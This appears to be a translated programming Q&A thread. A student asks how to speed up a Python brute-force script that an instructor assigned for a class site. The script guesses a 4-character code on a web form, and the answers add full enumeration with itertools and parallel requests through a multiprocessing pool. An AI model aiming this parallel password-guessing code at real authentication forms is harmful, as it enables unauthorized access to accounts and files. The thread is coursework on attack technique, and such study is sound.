2015-11-14 43 views
0

因此,問題在於,我們的安全教師創建了一個需要認證的站點,然後請求代碼(4個字符),以便您可以訪問文件。他告訴我們用Python(我們想要的任何庫)編寫一個可以找到密碼的暴力程序。所以要做到這一點,我首先要製作一個程序,可以在該代碼字段上嘗試隨機組合,以便了解每個請求的時間(我正在使用請求庫),結果是讓每個請求失去意願需要大約8秒。 通過一些計算:4^36 = 13 436 928可能的組合,將使我的節目在155.52天左右。 如果有人能幫助我更快地做到這一點,那我真的很感激。 (他告訴我們,有可能使周圍每秒1200個組合)python中的緩慢蠻力程序

這裏是我的代碼:

import requests 
import time 
import random 

def gen(): 
    alphabet = "abcdefghijklmnopqrstuvwxyz" 
    pw_length = 4 
    mypw = "" 

    for i in range(pw_length): 
     next_index = random.randrange(len(alphabet)) 
     mypw = mypw + alphabet[next_index] 

    return mypw 

t0 = time.clock() 
t1 = time.time() 

cookie = {'ig': 'b0b5294376ef12a219147211fc33d7bb'} 

for i in range(0,5): 
    t2 = time.clock() 
    t3 = time.time() 
    values = {'RECALL':gen()} 
    r = requests.post('http://www.example.com/verif.php', stream=True, cookies=cookie, data=values) 
    print("##################################") 
    print("cpu time for req ",i,":", time.clock()-t2) 
    print("wall time for req ",i,":", time.time()-t3) 

print("##################################") 
print("##################################") 
print("Total cpu time:", time.clock()-t0) 
print("Total wall time:", time.time()-t1) 

謝謝

+0

當您使用['Session()'對象](http://docs.python-requests.org/en/latest/user/advanced/#session-objects)和從而讓'請求'重新使用TCP連接? –

+0

並且不要使用隨機密碼;使用'itertools.product(alphabet,repeat = 4)'生成所有組合(使用'''.join(combo)'將4個字符重新連接成一個字符串)。 –

+0

謝謝,我將修改該密碼生成方法。你能解釋一點嗎? –

回答

1

你可以嘗試的就是用一個Pool of workers做多並行請求將密碼傳遞給每個工作人員。例如:

import itertools 
from multiprocessing import Pool 

def pass_generator(): 
    for pass_tuple in itertools.product(alphabet, repeat=4): 
     yield ''.join(pass_tuple) 

def check_password(password): 
    values = {'RECALL': password} 
    r = requests.post('http://www.example.com/verif.php', stream=True, cookies=cookie, data=values) 
    # Check response here. 

pool = Pool(processes=NUMBER_OF_PROCESSES) 
pool.map(check_password, pass_generator()) 
+0

謝謝你的想法,但是有沒有最佳數量的過程? –

+0

您應該試驗一下,從2倍的核心數量開始,因爲這是I/O限制,您應該更高一些,但是在某些情況下您會遇到性能問題。 – tabac

+0

我有i5處理器,所以它是4個內核。所以我應該從8個流程中走出來?如果我使用8個進程,並且請求需要8個左右的時間,但仍然需要很長時間。 –